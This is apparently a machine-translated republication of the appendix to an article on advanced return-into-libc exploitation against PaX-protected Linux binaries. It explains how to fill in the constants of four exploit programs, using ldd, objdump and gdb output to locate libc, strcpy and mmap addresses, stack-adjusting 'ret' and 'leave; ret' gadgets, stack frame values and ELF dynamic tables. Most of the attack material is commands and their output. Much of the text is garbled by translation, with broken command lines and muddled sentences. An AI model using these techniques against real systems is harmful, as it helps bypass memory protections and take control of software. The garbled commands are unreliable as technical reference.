Advanced return library function Exploit code implementation (below)

Article title: advanced return library function Exploit code implementation (bottom ). Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source.
　　 9 attachment: README. code
<++> Code annotation
Prepare defective programs for compilation.
$ Gcc-o vuln. omit-fomit-frame-pointer vuln. c
$ Gcc-o vuln. c
$ Gcc-o pax. c
Ex-move.c
~~~~~~~~~~~~
The front part of the ex-move.c code predefines some constants like LIBC, STRCPY, MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES, you can adjust according to the system environment, note: MMAP_START cannot be changed
　　
Next, let's get the constants we need to pre-define in the code.
1) LIBC
[Nergal @ behemoth pax] $ ldd./vuln. omit (* through ldd, we can obtain the library function called by the defective function vuln. omit and its address)
Libc. so.6 =>/lib/libc. so.6 (0x4001e000) <-yeah, this is the library function entry address 0x4001e000
/Lib/ld-linux.so.2 =>/lib/ld-linux.so.2 (0x40000000)
　　
2) STRCPY
[Nergal @ behemoth pax] $ objdump-T vuln. omit (* through the objdump parameter-T, we can get the dynamic symbol table (DST) of vuln. omit)
Vuln. omit: file format elf32-i386 (display file format)
　　
Dynamic symbol table:
08048348 w DF * UND * 00000081 GLIBC_2.0 _ register_frame_info
08048358 DF * UND * 0000010c GLIBC_2.0 getenv
08048368 w DF * UND * 000000ac GLIBC_2.0 _ deregister_frame_info
08048378 DF * UND * 000000e0 GLIBC_2.0 _ libc_start_main
08048388 w DF * UND * 00000091 GLIBC_2.1.3 _ cxa_finalize
08048530g DO. rodata 00000004 Base _ IO_stdin_used
00000000 w D * UND * 00000000 _ gmon_start __
08048398 DF * UND * 00000030 GLIBC_2.0 strcpy
~~~~~~~~ (Obtain the address for calling the strcpy function)
　　
3) MMAP
[Nergal @ behemoth pax] $ objdump-T/lib/libc. so.6 | grep mmap (* find the mmap address from the library function DST)
000daf10 w DF. text 0000003a GLIBC_2.0 mmap <----- yeah, highlighted.
000db050 w DF. text 000000a0 GLIBC_2.1 mmap64
　　
4) POPSTACK/POPNUM/PLAIN_RET
We must find the "ret" command after "add $ imm, % esp. We need to disassemble the defective program vuln. omit. you can use the disas command of gdb or the objdump command. Here we use "objdump -- disassemble./vuln. omit ".
[Nergal @ behemoth pax] $ objdump -- disassemble./vuln. omit | grep-B 1 ret (* find the ret part of the disassembly program vuln. omit)
... Omitted irrelevant output
--
80484be: 83 c4 2c add $ 0x2c, % esp
~~~~~~~~ (This is the stack pointer address in the add command before exiting the stack )~~~~~~ (Value of POPNUM) 80484c1: c3 ret
~~~~~~~~~ (Ret command address)
--
80484fe: 5d pop % ebp
80484ff: c3 ret
--
... Omitted irrelevant output
　　
5) FRAMES
Now we need to find the value of the stack pointer after the Stack Overflow occurs. What we need to do is to make the defective program vuln. omit have a segment error (core dumped) and debug the defective program through the generated core file to obtain the predefined value of FRAMES. The parameter "testing" in our exploit code ex-move.c saves 0x5060708 in the instruction pointer, and we just need to do this:
[Nergal @ behemoth pax] $./ex-move testing
Segmentation fault (core dumped) <------------- overflow occurs, proceed to the next gbd
[Nergal @ behemoth pax] $ gdb./vuln. omit core
(No debugging symbols found )...
Core was generated by./vuln. omit.
Program terminated with signal 11, Segmentation fault.
#0 0x5060708 in ?? ()
~~~~~~~~~ (Similar to the directive pointer value of ex-move, if the value is greater than 0x5060708, the stack needs to be adjusted, at the same time, the array "scratch" in the definition of struct ov in the exploit code ex-move.c needs to be adjusted .)
(Gdb) info regi (* display the value in the register)
...
Esp 0xbffffde0 0xbffffde0
~~~~~~~~~~ (Stack pointer value: this is the FEAMES value we are looking)
...
After some twists and turns, finally completed the exploit code ex-move.c in the pre-defined.
Now let's look at the attack with no exploit code for the defective program compiled using the optimized option: ex-frame.c
　　
II. ex-frame.c
~~~~~~~~~~~~~~
Wow, it's still necessary to make adjustments A, nonsense :) LIBC, STRCPY, MMAP, LEAVERET and FRAMES need to be adjusted as appropriate, similar to the method in ex-move.c, LIBC, STRCPY, MMAP and FRAMES.
The LEAVERET address is the address of the "leave; ret" command sequence. The method for finding it is the same as the previous one, and the objdump -- disassemble command is also used.
[Nergal @ behemoth pax] $ objdump -- disassemble vuln | grep leave-A 1
Objdump: vuln: no symbols
8048335: c9 leave
8048336: c3 ret
--
80484bd: c9 leave
~~~~~~~ (We can know that the leave address of the 3.3 frame is required by the forgery of the 2nd frame)
80484be: c3 ret
--
8048518: c9 leave
8048519: c3 ret
　　
III. dl-resolve.c
~~~~~~~~~~~~~~~~~
You need to adjust the pre-defined STRTAB, SYMTAB, JMPREL, VERSYM, and PLT_SECTION constant values in the code.
Because of the dl-resolve.c2 hexadecimal relationship, two compilations are required. For the first compilation, we only need to # define the dummy value. Run the following command:
[Nergal @ behemoth pax] $ objdump-x dl-resolve
Output the following information (dynamic symbol table, string table, relocation entry, etc ):
[... Irrelevant information...]
Dynamic section:
NEEDED libc. so.6
INIT 0x804839c
FINI 0x80486ec
HASH 0x8048128
STRTAB 0x8048240 (obtain the STRTAB address of the string table)
SYMTAB 0x8048170 (obtain the SYMTAB address of the symbol table)
STRSZ 0xa1
SYMENT 0x10
DEBUG 0x0
PLTGOT 0x80497a8
PLTRELSZ 0x48
PLTREL 0x11
JMPREL 0x8048354 (get the JMPREL address, which is associated with the PLT address)
REL 0x8048344
RELSZ 0x10
RELENT 0x8
VERNEED 0x8048314
VERNEEDNUM 0x1
VERSYM 0x80482f8 (obtain the VERSYM symbol version address)
　　
"Objdump-x" command output process connecting table (PLT) section
[... Irrelevant information...]
Section:
Index Name Size vma lma File off Algn
0. interp interrupt segment 00000013 080480f4 080480f4 000000f4 2 ** 0
...
11. plt process connection table segment 000000a0 080483cc 080483cc 000003cc 2 *** 2
　　
Portal address to obtain the predefined PLT_SECTION value.
CONTENTS, ALLOC, LOAD, READONLY, CODE
Compile the code dl-resolve.c again, and finally we can see the following:
Old_mmap (0xaa011000, 16846848, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,-1, 0x1011000) = 0xaa011000
_ Exit (123) =?
As a result, mmap () is called although it is not the PLT entry to the dl-resolve.c. Of course we can add it to the shellcode for execution, but there is not much need to write it just to prove this theory.
　　
IV. icebreaker. c
~~~~~~~~~~~~~~~~
9 predefined values need to be adjusted. two fixed values: FRAMESINDATA and VIND.
1) FRAMESINDATA
This is a static variable used to locate or divide the copy of forged frames from the memory. c. We need to find the address of the "bigbuf" array. if the attacked binary file is not shelled, it is easy to get the address. Otherwise, we must analyze the output of the disassembly, in pax. in row c, the "bigbuf" variable appears in the parameters of the "strncat" function, as follows:
Strncat (bigbuf, ptr, sizeof (bigbuf)-1 );
Then, we need to find the strncat function address:
[Nergal @ behemoth pax] $ objdump-T pax | grep strncat
0804836c DF * UND * 0000009e GLIBC_2.0 strncat
~~~~~~~~ (Strncat function address)
[Nergal @ behemoth pax] $ objdump-d pax | grep 804836c-B 3 <-_ not _ 0804836c (* disassemble pax and find the bigbuf address through the strncat address)
Objdump: pax: no symbols
8048362: ff 25 c8 95 04 08 jmp * 0x80495c8
8048368: 00 00 add % al, (% eax)
804836a: 00 00 add % al, (% eax)
804836c: ff 25 cc 95 04 08 jmp * 0x80495cc
--
80484e5: 68 ff 03 00 00 push $ 0x3ff <-1023
80484ea: ff 75 e4 pushl 0xffffffe4 (% ebp) <-ptr
80484ed: 68 c0 9a 04 08 push $0x8049ac0 <-bigbuf
80484f2: e8 75 fe ff call 0x804836c
　　
The address of bigbuf is 0x8049ac0, which is the predefined FRAMESINDATA value.
　　
2) VIND
The interval of [low address, high address] is mentioned above. The interval is used to find the short and zero byte. the memory location at this interval is
[VERSYM + (low_addr-SYMTAB)/8, VERSYM + (hi_addr-SYMTAB)/8] area. (For details, see section 6.2)
[Nergal @ behemoth pax] $ gdb./icebreaker
(Gdb) set args testing (set the parameter to "testing ")
(Gdb) r (run the icebreaker program with the testing parameter)
Starting program:/home/nergal/pax/./icebreaker testing
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x4ffb7d30 in ?? () <-Icebreaker executes pax
(Gdb) c (continue to execute the next function)
Continuing.
　　
Program received signal SIGSEGV